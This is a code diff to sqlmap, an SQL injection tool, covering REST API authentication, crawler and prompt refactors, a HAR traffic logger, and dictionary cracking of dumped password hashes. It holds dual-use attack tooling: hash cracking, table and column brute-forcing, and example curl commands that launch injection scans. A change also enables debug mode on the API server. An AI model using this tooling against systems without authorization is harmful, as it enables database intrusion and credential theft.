    return jsonize({"success": True, "options": DataStore.tasks[taskid].get_options()})

-
@post("/option/<taskid>/get")
 def option_get(taskid):
    """
@@ -443,12 +459,12 @@ def option_get(taskid):
        logger.debug("[%s] Requested value for unknown option %s" % (taskid, option))
        return jsonize({"success": False, "message": "Unknown option", option: "not set"})

-
@post("/option/<taskid>/set")
 def option_set(taskid):
    """
    Set an option (command line switch) for a certain task ID
    """
+
    if taskid not in DataStore.tasks:
        logger.warning("[%s] Invalid task ID provided to option_set()" % taskid)
        return jsonize({"success": False, "message": "Invalid task ID"})
@@ -459,13 +475,13 @@ def option_set(taskid):
    logger.debug("[%s] Requested to set options" % taskid)
    return jsonize({"success": True})

-
 # Handle scans
@post("/scan/<taskid>/start")
 def scan_start(taskid):
    """
    Launch a scan
    """
+
    if taskid not in DataStore.tasks:
        logger.warning("[%s] Invalid task ID provided to scan_start()" % taskid)
        return jsonize({"success": False, "message": "Invalid task ID"})
@@ -480,12 +496,12 @@ def scan_start(taskid):
    logger.debug("[%s] Started scan" % taskid)
    return jsonize({"success": True, "engineid": DataStore.tasks[taskid].engine_get_id()})

-
@get("/scan/<taskid>/stop")
 def scan_stop(taskid):
    """
    Stop a scan
    """
+
    if (taskid not in DataStore.tasks or
            DataStore.tasks[taskid].engine_process() is None or
            DataStore.tasks[taskid].engine_has_terminated()):
@@ -497,12 +513,12 @@ def scan_stop(taskid):
    logger.debug("[%s] Stopped scan" % taskid)
    return jsonize({"success": True})

-
@get("/scan/<taskid>/kill")
 def scan_kill(taskid):
    """
    Kill a scan
    """
+
    if (taskid not in DataStore.tasks or
            DataStore.tasks[taskid].engine_process() is None or
            DataStore.tasks[taskid].engine_has_terminated()):
@@ -514,12 +530,12 @@ def scan_kill(taskid):
    logger.debug("[%s] Killed scan" % taskid)
    return jsonize({"success": True})

-
@get("/scan/<taskid>/status")
 def scan_status(taskid):
    """
    Returns status of a scan
    """
+
    if taskid not in DataStore.tasks:
        logger.warning("[%s] Invalid task ID provided to scan_status()" % taskid)
        return jsonize({"success": False, "message": "Invalid task ID"})
@@ -536,12 +552,12 @@ def scan_status(taskid):
        "returncode": DataStore.tasks[taskid].engine_get_returncode()
    })

-
@get("/scan/<taskid>/data")
 def scan_data(taskid):
    """
    Retrieve the data of a scan
    """
+
    json_data_message = list()
    json_errors_message = list()

@@ -550,16 +566,11 @@ def scan_data(taskid):
        return jsonize({"success": False, "message": "Invalid task ID"})

    # Read all data from the IPC database for the taskid
-    for status, content_type, value in DataStore.current_db.execute(
-            "SELECT status, content_type, value FROM data WHERE taskid = ? ORDER BY id ASC",
-            (taskid,)):
-        json_data_message.append(
-            {"status": status, "type": content_type, "value": dejsonize(value)})
+    for status, content_type, value in DataStore.current_db.execute("SELECT status, content_type, value FROM data WHERE taskid = ? ORDER BY id ASC", (taskid,)):
+        json_data_message.append({"status": status, "type": content_type, "value": dejsonize(value)})

    # Read all error messages from the IPC database
-    for error in DataStore.current_db.execute(
-            "SELECT error FROM errors WHERE taskid = ? ORDER BY id ASC",
-            (taskid,)):
+    for error in DataStore.current_db.execute("SELECT error FROM errors WHERE taskid = ? ORDER BY id ASC", (taskid,)):
        json_errors_message.append(error)

    logger.debug("[%s] Retrieved scan data and error messages" % taskid)
@@ -572,6 +583,7 @@ def scan_log_limited(taskid, start, end):
    """
    Retrieve a subset of log messages
    """
+
    json_log_messages = list()

    if taskid not in DataStore.tasks:
@@ -586,10 +598,7 @@ def scan_log_limited(taskid, start, end):
    end = max(1, int(end))

    # Read a subset of log messages from the IPC database
-    for time_, level, message in DataStore.current_db.execute(
-            ("SELECT time, level, message FROM logs WHERE "
-             "taskid = ? AND id >= ? AND id <= ? ORDER BY id ASC"),
-            (taskid, start, end)):
+    for time_, level, message in DataStore.current_db.execute("SELECT time, level, message FROM logs WHERE taskid = ? AND id >= ? AND id <= ? ORDER BY id ASC", (taskid, start, end)):
        json_log_messages.append({"time": time_, "level": level, "message": message})

    logger.debug("[%s] Retrieved scan log messages subset" % taskid)
@@ -601,6 +610,7 @@ def scan_log(taskid):
    """
    Retrieve the log messages
    """
+
    json_log_messages = list()

    if taskid not in DataStore.tasks:
@@ -608,8 +618,7 @@ def scan_log(taskid):
        return jsonize({"success": False, "message": "Invalid task ID"})

    # Read all log messages from the IPC database
-    for time_, level, message in DataStore.current_db.execute(
-            "SELECT time, level, message FROM logs WHERE taskid = ? ORDER BY id ASC", (taskid,)):
+    for time_, level, message in DataStore.current_db.execute("SELECT time, level, message FROM logs WHERE taskid = ? ORDER BY id ASC", (taskid,)):
        json_log_messages.append({"time": time_, "level": level, "message": message})

    logger.debug("[%s] Retrieved scan log messages" % taskid)
@@ -622,6 +631,7 @@ def download(taskid, target, filename):
    """
    Download a certain file from the file system
    """
+
    if taskid not in DataStore.tasks:
        logger.warning("[%s] Invalid task ID provided to download()" % taskid)
        return jsonize({"success": False, "message": "Invalid task ID"})
@@ -642,12 +652,17 @@ def download(taskid, target, filename):
        return jsonize({"success": False, "message": "File does not exist"})


-def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=RESTAPI_DEFAULT_ADAPTER):
+def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=RESTAPI_DEFAULT_ADAPTER, username=None, password=None):
    """
    REST-JSON API server
    """
+
    DataStore.admin_id = hexencode(os.urandom(16))
-    Database.filepath = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.IPC, text=False)[1]
+    DataStore.username = username
+    DataStore.password = password
+
+    _, Database.filepath = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.IPC, text=False)
+    os.close(_)

    if port == 0:  # random
        with contextlib.closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as s:
@@ -656,7 +671,7 @@ def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=REST

    logger.info("Running REST-JSON API server at '%s:%d'.." % (host, port))
    logger.info("Admin ID: %s" % DataStore.admin_id)
-    logger.debug("IPC database: %s" % Database.filepath)
+    logger.debug("IPC database: '%s'" % Database.filepath)

    # Initialize IPC database
    DataStore.current_db = Database()
@@ -665,6 +680,9 @@ def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=REST

    # Run RESTful API
    try:
+        # Supported adapters: aiohttp, auto, bjoern, cgi, cherrypy, diesel, eventlet, fapws3, flup, gae, gevent, geventSocketIO, gunicorn, meinheld, paste, rocket, tornado, twisted, waitress, wsgiref
+        # Reference: https://bottlepy.org/docs/dev/deployment.html || bottle.server_names
+
        if adapter == "gevent":
            from gevent import monkey
            monkey.patch_all()
@@ -672,16 +690,19 @@ def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=REST
            import eventlet
            eventlet.monkey_patch()
        logger.debug("Using adapter '%s' to run bottle" % adapter)
-        run(host=host, port=port, quiet=True, debug=False, server=adapter)
+        run(host=host, port=port, quiet=True, debug=True, server=adapter)
    except socket.error, ex:
        if "already in use" in getSafeExString(ex):
            logger.error("Address already in use ('%s:%s')" % (host, port))
        else:
            raise
    except ImportError:
-        errMsg = "Adapter '%s' is not available on this system" % adapter
-        if adapter in ("gevent", "eventlet"):
-            errMsg += " (e.g.: 'sudo apt-get install python-%s')" % adapter
+        if adapter.lower() not in server_names:
+            errMsg = "Adapter '%s' is unknown. " % adapter
+            errMsg += "(Note: available adapters '%s')" % ', '.join(sorted(server_names.keys()))
+        else:
+            errMsg = "Server support for adapter '%s' is not installed on this system " % adapter
+            errMsg += "(Note: you can try to install it with 'sudo apt-get install python-%s' or 'sudo pip install %s')" % (adapter, adapter)
        logger.critical(errMsg)

 def _client(url, options=None):
@@ -690,7 +711,12 @@ def _client(url, options=None):
        data = None
        if options is not None:
            data = jsonize(options)
-        req = urllib2.Request(url, data, {'Content-Type': 'application/json'})
+        headers = {"Content-Type": "application/json"}
+
+        if DataStore.username or DataStore.password:
+            headers["Authorization"] = "Basic %s" % ("%s:%s" % (DataStore.username or "", DataStore.password or "")).encode("base64").strip()
+
+        req = urllib2.Request(url, data, headers)
        response = urllib2.urlopen(req)
        text = response.read()
    except:
@@ -699,12 +725,14 @@ def _client(url, options=None):
        raise
    return text

-
-def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT):
+def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=None, password=None):
    """
    REST-JSON API client
    """

+    DataStore.username = username
+    DataStore.password = password
+
    dbgMsg = "Example client access from command line:"
    dbgMsg += "\n\t$ taskid=$(curl http://%s:%d/task/new 2>1 | grep -o -I '[a-f0-9]\{16\}') && echo $taskid" % (host, port)
    dbgMsg += "\n\t$ curl -H \"Content-Type: application/json\" -X POST -d '{\"url\": \"http://testphp.vulnweb.com/artists.php?artist=1\"}' http://%s:%d/scan/$taskid/start" % (host, port)
@@ -718,7 +746,7 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT):
    try:
        _client(addr)
    except Exception, ex:
-        if not isinstance(ex, urllib2.HTTPError):
+        if not isinstance(ex, urllib2.HTTPError) or ex.code == httplib.UNAUTHORIZED:
            errMsg = "There has been a problem while connecting to the "
            errMsg += "REST-JSON API server at '%s' " % addr
            errMsg += "(%s)" % ex
@@ -746,12 +774,33 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT):
                logger.error("Failed to execute command %s" % command)
            dataToStdout("%s\n" % raw)

+        elif command.startswith("option"):
+            if not taskid:
+                logger.error("No task ID in use")
+                continue
+            try:
+                command, option = command.split(" ")
+            except ValueError:
+                raw = _client("%s/option/%s/list" % (addr, taskid))
+            else:
+                options = {"option": option}
+                raw = _client("%s/option/%s/get" % (addr, taskid), options)
+            res = dejsonize(raw)
+            if not res["success"]:
+                logger.error("Failed to execute command %s" % command)
+            dataToStdout("%s\n" % raw)
+
        elif command.startswith("new"):
            if ' ' not in command:
                logger.error("Program arguments are missing")
                continue

-            argv = ["sqlmap.py"] + shlex.split(command)[1:]
+            try:
+                argv = ["sqlmap.py"] + shlex.split(command)[1:]
+            except Exception, ex:
+                logger.error("Error occurred while parsing arguments ('%s')" % ex)
+                taskid = None
+                continue

            try:
                cmdLineOptions = cmdLineParser(argv).__dict__
@@ -803,17 +852,19 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT):
            return

        elif command in ("help", "?"):
-            msg =  "help        Show this help message\n"
-            msg += "new ARGS    Start a new scan task with provided arguments (e.g. 'new -u \"http://testphp.vulnweb.com/artists.php?artist=1\"')\n"
-            msg += "use TASKID  Switch current context to different task (e.g. 'use c04d8c5c7582efb4')\n"
-            msg += "data        Retrieve and show data for current task\n"
-            msg += "log         Retrieve and show log for current task\n"
-            msg += "status      Retrieve and show status for current task\n"
-            msg += "stop        Stop current task\n"
-            msg += "kill        Kill current task\n"
-            msg += "list        Display all tasks\n"
-            msg += "flush       Flush tasks (delete all tasks)\n"
-            msg += "exit        Exit this client\n"
+            msg =  "help           Show this help message\n"
+            msg += "new ARGS       Start a new scan task with provided arguments (e.g. 'new -u \"http://testphp.vulnweb.com/artists.php?artist=1\"')\n"
+            msg += "use TASKID     Switch current context to different task (e.g. 'use c04d8c5c7582efb4')\n"
+            msg += "data           Retrieve and show data for current task\n"
+            msg += "log            Retrieve and show log for current task\n"
+            msg += "status         Retrieve and show status for current task\n"
+            msg += "option OPTION  Retrieve and show option for current task\n"
+            msg += "options        Retrieve and show all options for current task\n"
+            msg += "stop           Stop current task\n"
+            msg += "kill           Kill current task\n"
+            msg += "list           Display all tasks\n"
+            msg += "flush          Flush tasks (delete all tasks)\n"
+            msg += "exit           Exit this client\n"

            dataToStdout(msg)

@@ -57,8 +57,7 @@ def tableExists(tableFile, regex=None):
        logger.warn(warnMsg)

        message = "are you sure you want to continue? [y/N] "
-        test = readInput(message, default="N")
-        kb.tableExistsChoice = test[0] in ("y", "Y")
+        kb.tableExistsChoice = readInput(message, default='N', boolean=True)

        if not kb.tableExistsChoice:
            return None
@@ -70,15 +69,23 @@ def tableExists(tableFile, regex=None):

    if result:
        errMsg = "can't use table existence check because of detected invalid results "
-        errMsg += "(most probably caused by inability of the used injection "
-        errMsg += "to distinguish errornous results)"
+        errMsg += "(most likely caused by inability of the used injection "
+        errMsg += "to distinguish erroneous results)"
        raise SqlmapDataException(errMsg)

-    tables = getFileItems(tableFile, lowercase=Backend.getIdentifiedDbms() in (DBMS.ACCESS,), unique=True)
+    message = "which common tables (wordlist) file do you want to use?\n"
+    message += "[1] default '%s' (press Enter)\n" % tableFile
+    message += "[2] custom"
+    choice = readInput(message, default='1')
+
+    if choice == '2':
+        message = "what's the custom common tables file location?\n"
+        tableFile = readInput(message) or tableFile

    infoMsg = "checking table existence using items from '%s'" % tableFile
    logger.info(infoMsg)

+    tables = getFileItems(tableFile, lowercase=Backend.getIdentifiedDbms() in (DBMS.ACCESS,), unique=True)
    tables.extend(_addPageTextWords())
    tables = filterListValue(tables, regex)

@@ -114,7 +121,7 @@ def tableExists(tableFile, regex=None):
                threadData.shared.value.append(table)
                threadData.shared.unique.add(table.lower())

-                if conf.verbose in (1, 2) and not hasattr(conf, "api"):
+                if conf.verbose in (1, 2) and not conf.api:
                    clearConsoleLine(True)
                    infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(table))
                    dataToStdout(infoMsg, True)
@@ -161,8 +168,7 @@ def columnExists(columnFile, regex=None):
        logger.warn(warnMsg)

        message = "are you sure you want to continue? [y/N] "
-        test = readInput(message, default="N")
-        kb.columnExistsChoice = test[0] in ("y", "Y")
+        kb.columnExistsChoice = readInput(message, default='N', boolean=True)

        if not kb.columnExistsChoice:
            return None
@@ -178,10 +184,19 @@ def columnExists(columnFile, regex=None):

    if result:
        errMsg = "can't use column existence check because of detected invalid results "
-        errMsg += "(most probably caused by inability of the used injection "
-        errMsg += "to distinguish errornous results)"
+        errMsg += "(most likely caused by inability of the used injection "
+        errMsg += "to distinguish erroneous results)"
        raise SqlmapDataException(errMsg)

+    message = "which common columns (wordlist) file do you want to use?\n"
+    message += "[1] default '%s' (press Enter)\n" % columnFile
+    message += "[2] custom"
+    choice = readInput(message, default='1')
+
+    if choice == '2':
+        message = "what's the custom common columns file location?\n"
+        columnFile = readInput(message) or columnFile
+
    infoMsg = "checking column existence using items from '%s'" % columnFile
    logger.info(infoMsg)

@@ -222,7 +237,7 @@ def columnExists(columnFile, regex=None):
            if result:
                threadData.shared.value.append(column)

-                if conf.verbose in (1, 2) and not hasattr(conf, "api"):
+                if conf.verbose in (1, 2) and not conf.api:
                    clearConsoleLine(True)
                    infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(column))
                    dataToStdout(infoMsg, True)
@@ -20,6 +20,7 @@ from lib.core.common import getSafeExString
 from lib.core.common import openFile
 from lib.core.common import readInput
 from lib.core.common import safeCSValue
+from lib.core.common import urldecode
 from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
@@ -63,14 +64,14 @@ def crawl(target):
                    if current:
                        content = Request.getPage(url=current, crawling=True, raise404=False)[0]
                except SqlmapConnectionException, ex:
-                    errMsg = "connection exception detected (%s). skipping " % ex
+                    errMsg = "connection exception detected (%s). skipping " % getSafeExString(ex)
                    errMsg += "URL '%s'" % current
                    logger.critical(errMsg)
                except SqlmapSyntaxException:
                    errMsg = "invalid URL detected. skipping '%s'" % current
                    logger.critical(errMsg)
                except httplib.InvalidURL, ex:
-                    errMsg = "invalid URL detected (%s). skipping " % ex
+                    errMsg = "invalid URL detected (%s). skipping " % getSafeExString(ex)
                    errMsg += "URL '%s'" % current
                    logger.critical(errMsg)

@@ -87,7 +88,7 @@ def crawl(target):
                        tags = soup('a')

                        if not tags:
-                            tags = re.finditer(r'(?si)<a[^>]+href="(?P<href>[^>"]+)"', content)
+                            tags = re.finditer(r'(?i)<a[^>]+href="(?P<href>[^>"]+)"', content)

                        for tag in tags:
                            href = tag.get("href") if hasattr(tag, "get") else tag.group("href")
@@ -111,10 +112,10 @@ def crawl(target):
                                        threadData.shared.deeper.add(url)
                                        if re.search(r"(.*?)\?(.+)", url):
                                            threadData.shared.value.add(url)
-                    except ValueError:          # for non-valid links
-                        pass
                    except UnicodeEncodeError:  # for non-HTML files
                        pass
+                    except ValueError:          # for non-valid links
+                        pass
                    finally:
                        if conf.forms:
                            findPageForms(content, current, False, True)
@@ -130,8 +131,8 @@ def crawl(target):
        if not conf.sitemapUrl:
            message = "do you want to check for the existence of "
            message += "site's sitemap(.xml) [y/N] "
-            test = readInput(message, default="n")
-            if test[0] in ("y", "Y"):
+
+            if readInput(message, default='N', boolean=True):
                found = True
                items = None
                url = urlparse.urljoin(target, "/sitemap.xml")
@@ -187,7 +188,7 @@ def crawl(target):
            logger.warn(warnMsg)
        else:
            for url in threadData.shared.value:
-                kb.targets.add((url, None, None, None, None))
+                kb.targets.add((urldecode(url, kb.pageEncoding), None, None, None, None))

        storeResultsToFile(kb.targets)

@@ -198,8 +199,8 @@ def storeResultsToFile(results):
    if kb.storeCrawlingChoice is None:
        message = "do you want to store crawling results to a temporary file "
        message += "for eventual further processing with other tools [y/N] "
-        test = readInput(message, default="N")
-        kb.storeCrawlingChoice = test[0] in ("y", "Y")
+
+        kb.storeCrawlingChoice = readInput(message, default='N', boolean=True)

    if kb.storeCrawlingChoice:
        handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.CRAWLER, suffix=".csv" if conf.forms else ".txt")
@@ -0,0 +1,229 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+See the file 'doc/COPYING' for copying permission
+"""
+
+import base64
+import BaseHTTPServer
+import datetime
+import httplib
+import re
+import StringIO
+import time
+
+from lib.core.bigarray import BigArray
+from lib.core.settings import VERSION
+
+# Reference: https://dvcs.w3.org/hg/webperf/raw-file/tip/specs/HAR/Overview.html
+#            http://www.softwareishard.com/har/viewer/
+
+class HTTPCollectorFactory:
+    def __init__(self, harFile=False):
+        self.harFile = harFile
+
+    def create(self):
+        return HTTPCollector()
+
+class HTTPCollector:
+    def __init__(self):
+        self.messages = BigArray()
+        self.extendedArguments = {}
+
+    def setExtendedArguments(self, arguments):
+        self.extendedArguments = arguments
+
+    def collectRequest(self, requestMessage, responseMessage, startTime=None, endTime=None):
+        self.messages.append(RawPair(requestMessage, responseMessage,
+                                     startTime=startTime, endTime=endTime,
+                                     extendedArguments=self.extendedArguments))
+
+    def obtain(self):
+        return {"log": {
+            "version": "1.2",
+            "creator": {"name": "sqlmap", "version": VERSION},
+            "entries": [pair.toEntry().toDict() for pair in self.messages],
+        }}
+
+class RawPair:
+    def __init__(self, request, response, startTime=None, endTime=None, extendedArguments=None):
+        self.request = request
+        self.response = response
+        self.startTime = startTime
+        self.endTime = endTime
+        self.extendedArguments = extendedArguments or {}
+
+    def toEntry(self):
+        return Entry(request=Request.parse(self.request), response=Response.parse(self.response),
+                     startTime=self.startTime, endTime=self.endTime,
+                     extendedArguments=self.extendedArguments)
+
+class Entry:
+    def __init__(self, request, response, startTime, endTime, extendedArguments):
+        self.request = request
+        self.response = response
+        self.startTime = startTime or 0
+        self.endTime = endTime or 0
+        self.extendedArguments = extendedArguments
+
+    def toDict(self):
+        out = {
+            "request": self.request.toDict(),
+            "response": self.response.toDict(),
+            "cache": {},
+            "timings": {
+                "send": -1,
+                "wait": -1,
+                "receive": -1,
+            },
+            "time": int(1000 * (self.endTime - self.startTime)),
+            "startedDateTime": "%s%s" % (datetime.datetime.fromtimestamp(self.startTime).isoformat(), time.strftime("%z")) if self.startTime else None
+        }
+        out.update(self.extendedArguments)
+        return out
+
+class Request:
+    def __init__(self, method, path, httpVersion, headers, postBody=None, raw=None, comment=None):
+        self.method = method
+        self.path = path
+        self.httpVersion = httpVersion
+        self.headers = headers or {}
+        self.postBody = postBody
+        self.comment = comment.strip() if comment else comment
+        self.raw = raw
+
+    @classmethod
+    def parse(cls, raw):
+        request = HTTPRequest(raw)
+        return cls(method=request.command,
+                   path=request.path,
+                   httpVersion=request.request_version,
+                   headers=request.headers,
+                   postBody=request.rfile.read(),
+                   comment=request.comment,
+                   raw=raw)
+
+    @property
+    def url(self):
+        host = self.headers.get("Host", "unknown")
+        return "http://%s%s" % (host, self.path)
+
+    def toDict(self):
+        out = {
+            "httpVersion": self.httpVersion,
+            "method": self.method,
+            "url": self.url,
+            "headers": [dict(name=key.capitalize(), value=value) for key, value in self.headers.items()],
+            "cookies": [],
+            "queryString": [],
+            "headersSize": -1,
+            "bodySize": -1,
+            "comment": self.comment,
+        }
+
+        if self.postBody:
+            contentType = self.headers.get("Content-Type")
+            out["postData"] = {
+                "mimeType": contentType,
+                "text": self.postBody.rstrip("\r\n"),
+            }
+
+        return out
+
+class Response:
+    extract_status = re.compile(r'\((\d{3}) (.*)\)')
+
+    def __init__(self, httpVersion, status, statusText, headers, content, raw=None, comment=None):
+        self.raw = raw
+        self.httpVersion = httpVersion
+        self.status = status
+        self.statusText = statusText
+        self.headers = headers
+        self.content = content
+        self.comment = comment.strip() if comment else comment
+
+    @classmethod
+    def parse(cls, raw):
+        altered = raw
+        comment = ""
+
+        if altered.startswith("HTTP response [") or altered.startswith("HTTP redirect ["):
+            io = StringIO.StringIO(raw)
+            first_line = io.readline()
+            parts = cls.extract_status.search(first_line)
+            status_line = "HTTP/1.0 %s %s" % (parts.group(1), parts.group(2))
+            remain = io.read()
+            altered = status_line + "\r\n" + remain
+            comment = first_line
+
+        response = httplib.HTTPResponse(FakeSocket(altered))
+        response.begin()
+
+        try:
+            content = response.read(-1)
+        except httplib.IncompleteRead:
+            content = raw[raw.find("\r\n\r\n") + 4:].rstrip("\r\n")
+
+        return cls(httpVersion="HTTP/1.1" if response.version == 11 else "HTTP/1.0",
+                   status=response.status,
+                   statusText=response.reason,
+                   headers=response.msg,
+                   content=content,
+                   comment=comment,
+                   raw=raw)
+
+    def toDict(self):
+        content = {
+            "mimeType": self.headers.get("Content-Type"),
+            "text": self.content,
+            "size": len(self.content or "")
+        }
+
+        binary = set(['\0', '\1'])
+        if any(c in binary for c in self.content):
+            content["encoding"] = "base64"
+            content["text"] = base64.b64encode(self.content)
+
+        return {
+            "httpVersion": self.httpVersion,
+            "status": self.status,
+            "statusText": self.statusText,
+            "headers": [dict(name=key.capitalize(), value=value) for key, value in self.headers.items() if key.lower() != "uri"],
+            "cookies": [],
+            "content": content,
+            "headersSize": -1,
+            "bodySize": -1,
+            "redirectURL": "",
+            "comment": self.comment,
+        }
+
+class FakeSocket:
+    # Original source:
+    # https://stackoverflow.com/questions/24728088/python-parse-http-response-string
+
+    def __init__(self, response_text):
+        self._file = StringIO.StringIO(response_text)
+
+    def makefile(self, *args, **kwargs):
+        return self._file
+
+class HTTPRequest(BaseHTTPServer.BaseHTTPRequestHandler):
+    # Original source:
+    # https://stackoverflow.com/questions/4685217/parse-raw-http-headers
+
+    def __init__(self, request_text):
+        self.comment = None
+        self.rfile = StringIO.StringIO(request_text)
+        self.raw_requestline = self.rfile.readline()
+
+        if self.raw_requestline.startswith("HTTP request ["):
+            self.comment = self.raw_requestline
+            self.raw_requestline = self.rfile.readline()
+
+        self.error_code = self.error_message = None
+        self.parse_request()
+
+    def send_error(self, code, message):
+        self.error_code = code
+        self.error_message = message
@@ -382,8 +382,8 @@ def storeHashesToFile(attack_dict):
    if kb.storeHashesChoice is None:
        message = "do you want to store hashes to a temporary file "
        message += "for eventual further processing with other tools [y/N] "
-        test = readInput(message, default="N")
-        kb.storeHashesChoice = test[0] in ("y", "Y")
+
+        kb.storeHashesChoice = readInput(message, default='N', boolean=True)

    if not kb.storeHashesChoice:
        return
@@ -482,11 +482,11 @@ def attackDumpedTable():
            storeHashesToFile(attack_dict)

            message = "do you want to crack them via a dictionary-based attack? %s" % ("[y/N/q]" if conf.multipleTargets else "[Y/n/q]")
-            test = readInput(message, default="N" if conf.multipleTargets else "Y")
+            choice = readInput(message, default='N' if conf.multipleTargets else 'Y').upper()

-            if test[0] in ("n", "N"):
+            if choice == 'N':
                return
-            elif test[0] in ("q", "Q"):
+            elif choice == 'Q':
                raise SqlmapUserQuitException

            results = dictionaryAttack(attack_dict)
@@ -529,7 +529,7 @@ def hashRecognition(value):

    return retVal

-def _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, proc_id, proc_count, wordlists, custom_wordlist):
+def _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, proc_id, proc_count, wordlists, custom_wordlist, api):
    if IS_WIN:
        coloramainit()

@@ -583,7 +583,7 @@ def _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, proc_id, proc

                    status = 'current status: %s... %s' % (word.ljust(5)[:5], ROTATING_CHARS[rotator])

-                    if not hasattr(conf, "api"):
+                    if not api:
                        dataToStdout("\r[%s] [INFO] %s" % (time.strftime("%X"), status))

            except KeyboardInterrupt:
@@ -605,7 +605,7 @@ def _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, proc_id, proc
            with proc_count.get_lock():
                proc_count.value -= 1

-def _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found, proc_id, proc_count, wordlists, custom_wordlist):
+def _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found, proc_id, proc_count, wordlists, custom_wordlist, api):
    if IS_WIN:
        coloramainit()

@@ -657,7 +657,7 @@ def _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found
                    if user and not user.startswith(DUMMY_USER_PREFIX):
                        status += ' (user: %s)' % user

-                    if not hasattr(conf, "api"):
+                    if not api:
                        dataToStdout("\r[%s] [INFO] %s" % (time.strftime("%X"), status))

            except KeyboardInterrupt:
@@ -766,20 +766,20 @@ def dictionaryAttack(attack_dict):
                message += "[1] default dictionary file '%s' (press Enter)\n" % dictPaths[0]
                message += "[2] custom dictionary file\n"
                message += "[3] file with list of dictionary files"
-                choice = readInput(message, default="1")
+                choice = readInput(message, default='1')

                try:
-                    if choice == "2":
+                    if choice == '2':
                        message = "what's the custom dictionary's location?\n"
-                        dictPaths = [readInput(message)]
-
-                        logger.info("using custom dictionary")
-                    elif choice == "3":
+                        _ = readInput(message)
+                        if _:
+                            dictPaths = [readInput(message)]
+                            logger.info("using custom dictionary")
+                    elif choice == '3':
                        message = "what's the list file location?\n"
                        listPath = readInput(message)
                        checkFile(listPath)
                        dictPaths = getFileItems(listPath)
-
                        logger.info("using custom list of dictionaries")
                    else:
                        logger.info("using default dictionary")
@@ -805,9 +805,8 @@ def dictionaryAttack(attack_dict):
                    logger.critical(warnMsg)

            message = "do you want to use common password suffixes? (slow!) [y/N] "
-            test = readInput(message, default="N")

-            if test[0] in ("y", "Y"):
+            if readInput(message, default='N', boolean=True):
                suffix_list += COMMON_PASSWORD_SUFFIXES

        infoMsg = "starting dictionary-based cracking (%s)" % __functions__[hash_regex].func_name
@@ -843,12 +842,12 @@ def dictionaryAttack(attack_dict):
                        count = _multiprocessing.Value('i', _multiprocessing.cpu_count())

                        for i in xrange(_multiprocessing.cpu_count()):
-                            p = _multiprocessing.Process(target=_bruteProcessVariantA, args=(attack_info, hash_regex, suffix, retVal, i, count, kb.wordlists, custom_wordlist))
-                            processes.append(p)
+                            process = _multiprocessing.Process(target=_bruteProcessVariantA, args=(attack_info, hash_regex, suffix, retVal, i, count, kb.wordlists, custom_wordlist, conf.api))
+                            processes.append(process)

-                        for p in processes:
-                            p.daemon = True
-                            p.start()
+                        for process in processes:
+                            process.daemon = True
+                            process.start()

                        while count.value > 0:
                            time.sleep(0.5)
@@ -859,7 +858,7 @@ def dictionaryAttack(attack_dict):
                        singleTimeWarnMessage(warnMsg)

                        retVal = Queue()
-                        _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, 0, 1, kb.wordlists, custom_wordlist)
+                        _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, 0, 1, kb.wordlists, custom_wordlist, conf.api)

                except KeyboardInterrupt:
                    print
@@ -927,12 +926,12 @@ def dictionaryAttack(attack_dict):
                            count = _multiprocessing.Value('i', _multiprocessing.cpu_count())

                            for i in xrange(_multiprocessing.cpu_count()):
-                                p = _multiprocessing.Process(target=_bruteProcessVariantB, args=(user, hash_, kwargs, hash_regex, suffix, retVal, found_, i, count, kb.wordlists, custom_wordlist))
-                                processes.append(p)
+                                process = _multiprocessing.Process(target=_bruteProcessVariantB, args=(user, hash_, kwargs, hash_regex, suffix, retVal, found_, i, count, kb.wordlists, custom_wordlist, conf.api))
+                                processes.append(process)

-                            for p in processes:
-                                p.daemon = True
-                                p.start()
+                            for process in processes:
+                                process.daemon = True
+                                process.start()

                            while count.value > 0:
                                time.sleep(0.5)
@@ -951,7 +950,7 @@ def dictionaryAttack(attack_dict):
                            found_ = Value()
                            found_.value = False

-                            _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found_, 0, 1, kb.wordlists, custom_wordlist)
+                            _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found_, 0, 1, kb.wordlists, custom_wordlist, conf.api)

                            found = found_.value

@@ -111,11 +111,11 @@ def _search(dork):
        message += "\n[1] (re)try with DuckDuckGo (default)"
        message += "\n[2] (re)try with Disconnect Search"
        message += "\n[3] quit"
-        choice = readInput(message, default="1").strip().upper()
+        choice = readInput(message, default='1')

-        if choice == "Q":
+        if choice == '3':
            raise SqlmapUserQuitException
-        elif choice == "2":
+        elif choice == '2':
